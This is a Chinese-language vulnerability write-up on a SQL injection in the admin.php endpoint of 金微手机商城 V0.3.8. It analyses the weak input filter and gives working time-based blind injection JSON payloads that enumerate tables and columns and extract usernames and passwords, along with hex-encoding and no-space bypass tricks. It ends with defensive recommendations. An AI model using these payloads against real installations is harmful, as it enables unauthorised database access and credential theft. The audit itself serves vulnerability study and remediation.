记一次简单的审计
字数 1007 2025-08-05 13:25:32
金微手机商城 V0.3.8 SQL注入漏洞分析与利用
漏洞概述
本文分析了金微手机商城 V0.3.8版本中存在的一个SQL注入漏洞,该漏洞位于admin.php文件中,由于对用户输入数据过滤不严导致攻击者可以构造恶意请求实现时间盲注,进而获取数据库敏感信息。
漏洞分析
漏洞位置
漏洞主要存在于以下文件:
Jms_0.3.8/admin.phpJms_0.3.8/common.php
关键代码分析
- admin.php 入口点 (第8行):
// 传入数据给$m
$m = Dec($_POST);
if (!empty($m)) {
// 当$m不为空时处理逻辑
}
- common.php 中的Dec函数:
function Dec($data) {
$c = json_decode($data, true);
return $c ? Rpl($c) : $c;
}
该函数对传入的数据进行JSON解码,然后调用Rpl函数处理。
- common.php 中的Rpl函数:
function Rpl($data) {
// 过滤不可显示字符和\ * ' " % 空格
$filter = ["\x00", "\n", "\r", "\\", "*", "'", "\"", "%", " "];
foreach ($data as $k => $v) {
$data[$k] = str_replace($filter, "", $v);
}
return $data;
}
过滤了一些特殊字符,但未过滤SQL关键字。
- SQL执行流程:
当$m["act"]不为"idx"或"lgn"时,会执行以下SQL语句:
$sql = "SELECT * FROM `jms_users` WHERE `uid`='{$m["uid"]}'";
$res = Qry($sql);
- Qry函数 (common.php):
function Qry($sql) {
// 直接执行SQL语句,没有额外过滤
return mysqli_query($conn, $sql);
}
漏洞利用
基本利用方式
构造POST请求,利用时间盲注技术获取数据库信息:
- 基础延时测试:
{"act":"f1hgb","uid":"213123213121||sleep(5)"}
由于使用了OR逻辑,每个数据表都会导致一次5秒延时,如果有2个表,总延时为10秒。
- 时间盲注payload:
{"act":"f1hgb","uid":"213123213121||(if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1)=0x6a,sleep(5),1))"}
0x6a是字母'j'的16进制表示- 如果第一个表名的第一个字符是'j',则触发5秒延时
- 测试不同字符:
{"act":"f1hgb","uid":"213123213121||(if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1)=0x6b,sleep(5),1))"}
0x6b是字母'k'的16进制表示- 如果没有延时,说明第一个字符不是'k'
绕过技巧
- 使用16进制编码:由于引号被过滤,使用
0x前缀的16进制表示字符串 - 无空格语法:使用括号代替空格,如
(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())
完整利用流程
- 枚举数据库表名:
{"act":"f1hgb","uid":"1||(if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1)=0x6a,sleep(5),1))"}
- 枚举表字段:
{"act":"f1hgb","uid":"1||(if(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x6a6d735f7573657273),1,1)=0x69,sleep(5),1))"}
(0x6a6d735f7573657273是"jms_users"的16进制)
- 提取数据:
{"act":"f1hgb","uid":"1||(if(substr((select(group_concat(username,0x3a,password))from(jms_users)),1,1)=0x61,sleep(5),1))"}
防御建议
- 使用参数化查询(prepared statements)
- 加强输入过滤,过滤SQL关键字
- 对数据库操作使用最小权限原则
- 对关键操作添加CSRF防护
- 对管理后台增加访问控制
总结
该漏洞展示了JSON接口中由于过滤不严导致的SQL注入风险,攻击者可以通过精心构造的POST请求实现时间盲注,逐步获取数据库中的敏感信息。开发人员应重视所有用户输入点的安全过滤,特别是管理后台的接口。